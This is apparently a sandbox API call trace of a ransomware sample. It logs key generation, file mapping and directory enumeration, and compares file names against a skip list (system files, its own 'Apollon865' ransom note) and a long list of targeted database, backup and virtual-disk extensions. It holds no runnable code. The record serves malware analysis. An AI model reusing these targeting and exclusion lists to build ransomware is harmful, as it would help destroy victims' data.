	[0078.641] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=338) returned 1
	[0078.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.641] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.642] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.642] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.642] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0xd8
	[0078.644] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000
	[0078.645] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.645] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.645] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.645] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.645] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.645] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.646] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.646] CloseHandle (hObject=0xd8) returned 1
	[0078.646] CloseHandle (hObject=0x15c) returned 1
	[0078.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.646] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26af670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn", cAlternateFileName="MSOUTL~2.HXN")) returned 1
	[0078.646] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.646] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.646] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".") returned 1
	[0078.646] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="..") returned 1
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="windows") returned -1
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="temp") returned -1
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="boot") returned 1
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.647] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn") returned 26
	[0078.647] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn") returned 56
	[0078.647] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.OUTLOOK.DEV.14.1033.hxn" | out: lpString1="MS.OUTLOOK.DEV.14.1033.hxn") returned="MS.OUTLOOK.DEV.14.1033.hxn"
	[0078.647] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn") returned 26
	[0078.647] lstrlenW (lpString="Apollon865") returned 10
	[0078.647] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.647] lstrlenW (lpString=".dll") returned 4
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0078.647] lstrlenW (lpString=".lnk") returned 4
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.647] lstrlenW (lpString=".ini") returned 4
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0078.647] lstrlenW (lpString=".sys") returned 4
	[0078.647] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0078.647] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn") returned 26
	[0078.647] lstrlenW (lpString="bak") returned 3
	[0078.647] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.647] lstrlenW (lpString="ba_") returned 3
	[0078.647] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.647] lstrlenW (lpString="dbb") returned 3
	[0078.647] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.647] lstrlenW (lpString="vmdk") returned 4
	[0078.647] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.647] lstrlenW (lpString="rar") returned 3
	[0078.647] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.647] lstrlenW (lpString="zip") returned 3
	[0078.647] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.647] lstrlenW (lpString="tgz") returned 3
	[0078.648] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.648] lstrlenW (lpString="vbox") returned 4
	[0078.648] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.648] lstrlenW (lpString="vdi") returned 3
	[0078.648] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.648] lstrlenW (lpString="vhd") returned 3
	[0078.648] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.648] lstrlenW (lpString="vhdx") returned 4
	[0078.648] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.648] lstrlenW (lpString="avhd") returned 4
	[0078.648] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.648] lstrlenW (lpString="db") returned 2
	[0078.648] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.648] lstrlenW (lpString="db2") returned 3
	[0078.648] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.648] lstrlenW (lpString="db3") returned 3
	[0078.648] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.648] lstrlenW (lpString="dbf") returned 3
	[0078.648] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.648] lstrlenW (lpString="mdf") returned 3
	[0078.648] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.648] lstrlenW (lpString="mdb") returned 3
	[0078.648] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.648] lstrlenW (lpString="sql") returned 3
	[0078.648] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.648] lstrlenW (lpString="sqlite") returned 6
	[0078.648] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.648] lstrlenW (lpString="sqlite3") returned 7
	[0078.648] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.648] lstrlenW (lpString="sqlitedb") returned 8
	[0078.648] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.648] lstrlenW (lpString="xml") returned 3
	[0078.648] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.648] lstrlenW (lpString="$er") returned 3
	[0078.648] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.648] lstrlenW (lpString="4dd") returned 3
	[0078.648] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.648] lstrlenW (lpString="4dl") returned 3
	[0078.649] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.649] lstrlenW (lpString="^^^") returned 3
	[0078.649] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.649] lstrlenW (lpString="abs") returned 3
	[0078.649] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.649] lstrlenW (lpString="abx") returned 3
	[0078.649] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.649] lstrlenW (lpString="accdb") returned 5
	[0078.649] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.649] lstrlenW (lpString="accdc") returned 5
	[0078.649] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.649] lstrlenW (lpString="accde") returned 5
	[0078.649] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.649] lstrlenW (lpString="accdr") returned 5
	[0078.649] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.649] lstrlenW (lpString="accdt") returned 5
	[0078.649] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.649] lstrlenW (lpString="accdw") returned 5
	[0078.649] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.649] lstrlenW (lpString="accft") returned 5
	[0078.649] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.649] lstrlenW (lpString="adb") returned 3
	[0078.649] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.649] lstrlenW (lpString="adb") returned 3
	[0078.649] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.649] lstrlenW (lpString="ade") returned 3
	[0078.649] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.649] lstrlenW (lpString="adf") returned 3
	[0078.649] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.649] lstrlenW (lpString="adn") returned 3
	[0078.649] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.649] lstrlenW (lpString="adp") returned 3
	[0078.649] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.649] lstrlenW (lpString="alf") returned 3
	[0078.649] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.649] lstrlenW (lpString="ask") returned 3
	[0078.649] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.650] lstrlenW (lpString="btr") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.650] lstrlenW (lpString="cat") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.650] lstrlenW (lpString="cdb") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.650] lstrlenW (lpString="ckp") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.650] lstrlenW (lpString="cma") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.650] lstrlenW (lpString="cpd") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.650] lstrlenW (lpString="dacpac") returned 6
	[0078.650] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.650] lstrlenW (lpString="dad") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.650] lstrlenW (lpString="dadiagrams") returned 10
	[0078.650] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.650] lstrlenW (lpString="daschema") returned 8
	[0078.650] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.650] lstrlenW (lpString="db-journal") returned 10
	[0078.650] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.650] lstrlenW (lpString="db-shm") returned 6
	[0078.650] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.650] lstrlenW (lpString="db-wal") returned 6
	[0078.650] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.650] lstrlenW (lpString="dbc") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.650] lstrlenW (lpString="dbs") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.650] lstrlenW (lpString="dbt") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.650] lstrlenW (lpString="dbv") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.650] lstrlenW (lpString="dbx") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.650] lstrlenW (lpString="dcb") returned 3
	[0078.650] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.651] lstrlenW (lpString="dct") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.651] lstrlenW (lpString="dcx") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.651] lstrlenW (lpString="ddl") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.651] lstrlenW (lpString="dlis") returned 4
	[0078.651] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.651] lstrlenW (lpString="dp1") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.651] lstrlenW (lpString="dqy") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.651] lstrlenW (lpString="dsk") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.651] lstrlenW (lpString="dsn") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.651] lstrlenW (lpString="dtsx") returned 4
	[0078.651] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.651] lstrlenW (lpString="dxl") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.651] lstrlenW (lpString="eco") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.651] lstrlenW (lpString="ecx") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.651] lstrlenW (lpString="edb") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.651] lstrlenW (lpString="epim") returned 4
	[0078.651] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.651] lstrlenW (lpString="fcd") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.651] lstrlenW (lpString="fdb") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.651] lstrlenW (lpString="fic") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.651] lstrlenW (lpString="flexolibrary") returned 12
	[0078.651] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.651] lstrlenW (lpString="fm5") returned 3
	[0078.651] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.652] lstrlenW (lpString="fmp") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.652] lstrlenW (lpString="fmp12") returned 5
	[0078.652] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.652] lstrlenW (lpString="fmpsl") returned 5
	[0078.652] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.652] lstrlenW (lpString="fol") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.652] lstrlenW (lpString="fp3") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.652] lstrlenW (lpString="fp4") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.652] lstrlenW (lpString="fp5") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.652] lstrlenW (lpString="fp7") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.652] lstrlenW (lpString="fpt") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.652] lstrlenW (lpString="frm") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.652] lstrlenW (lpString="gdb") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.652] lstrlenW (lpString="gdb") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.652] lstrlenW (lpString="grdb") returned 4
	[0078.652] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.652] lstrlenW (lpString="gwi") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.652] lstrlenW (lpString="hdb") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.652] lstrlenW (lpString="his") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.652] lstrlenW (lpString="ib") returned 2
	[0078.652] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.652] lstrlenW (lpString="idb") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.652] lstrlenW (lpString="ihx") returned 3
	[0078.652] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.653] lstrlenW (lpString="itdb") returned 4
	[0078.653] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.653] lstrlenW (lpString="itw") returned 3
	[0078.653] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.653] lstrlenW (lpString="jet") returned 3
	[0078.653] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.653] lstrlenW (lpString="jtx") returned 3
	[0078.653] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.653] lstrlenW (lpString="kdb") returned 3
	[0078.653] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.653] lstrlenW (lpString="kexi") returned 4
	[0078.653] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.653] lstrlenW (lpString="kexic") returned 5
	[0078.653] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.653] lstrlenW (lpString="kexis") returned 5
	[0078.653] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.653] lstrlenW (lpString="lgc") returned 3
	[0078.653] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.653] lstrlenW (lpString="lwx") returned 3
	[0078.653] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.653] lstrlenW (lpString="maf") returned 3
	[0078.653] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.653] lstrlenW (lpString="maq") returned 3
	[0078.653] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.653] lstrlenW (lpString="mar") returned 3
	[0078.653] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.653] lstrlenW (lpString="marshal") returned 7
	[0078.653] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.653] lstrlenW (lpString="mas") returned 3
	[0078.653] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.653] lstrlenW (lpString="mav") returned 3
	[0078.653] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.653] lstrlenW (lpString="maw") returned 3
	[0078.653] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.653] lstrlenW (lpString="mdbhtml") returned 7
	[0078.653] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.653] lstrlenW (lpString="mdn") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.654] lstrlenW (lpString="mdt") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.654] lstrlenW (lpString="mfd") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.654] lstrlenW (lpString="mpd") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.654] lstrlenW (lpString="mrg") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.654] lstrlenW (lpString="mud") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.654] lstrlenW (lpString="mwb") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.654] lstrlenW (lpString="myd") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.654] lstrlenW (lpString="ndf") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.654] lstrlenW (lpString="nnt") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.654] lstrlenW (lpString="nrmlib") returned 6
	[0078.654] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.654] lstrlenW (lpString="ns2") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.654] lstrlenW (lpString="ns3") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.654] lstrlenW (lpString="ns4") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.654] lstrlenW (lpString="nsf") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.654] lstrlenW (lpString="nv") returned 2
	[0078.654] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.654] lstrlenW (lpString="nv2") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.654] lstrlenW (lpString="nwdb") returned 4
	[0078.654] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.654] lstrlenW (lpString="nyf") returned 3
	[0078.654] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.654] lstrlenW (lpString="odb") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.655] lstrlenW (lpString="odb") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.655] lstrlenW (lpString="oqy") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.655] lstrlenW (lpString="ora") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.655] lstrlenW (lpString="orx") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.655] lstrlenW (lpString="owc") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.655] lstrlenW (lpString="p96") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.655] lstrlenW (lpString="p97") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.655] lstrlenW (lpString="pan") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.655] lstrlenW (lpString="pdb") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.655] lstrlenW (lpString="pdm") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.655] lstrlenW (lpString="pnz") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.655] lstrlenW (lpString="qry") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.655] lstrlenW (lpString="qvd") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.655] lstrlenW (lpString="rbf") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.655] lstrlenW (lpString="rctd") returned 4
	[0078.655] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.655] lstrlenW (lpString="rod") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.655] lstrlenW (lpString="rodx") returned 4
	[0078.655] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.655] lstrlenW (lpString="rpd") returned 3
	[0078.655] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.655] lstrlenW (lpString="rsd") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.656] lstrlenW (lpString="sas7bdat") returned 8
	[0078.656] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.656] lstrlenW (lpString="sbf") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.656] lstrlenW (lpString="scx") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.656] lstrlenW (lpString="sdb") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.656] lstrlenW (lpString="sdc") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.656] lstrlenW (lpString="sdf") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.656] lstrlenW (lpString="sis") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.656] lstrlenW (lpString="spq") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.656] lstrlenW (lpString="te") returned 2
	[0078.656] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.656] lstrlenW (lpString="teacher") returned 7
	[0078.656] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.656] lstrlenW (lpString="tmd") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.656] lstrlenW (lpString="tps") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.656] lstrlenW (lpString="trc") returned 3
	[0078.656] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.656] lstrlenW (lpString="trc") returned 3
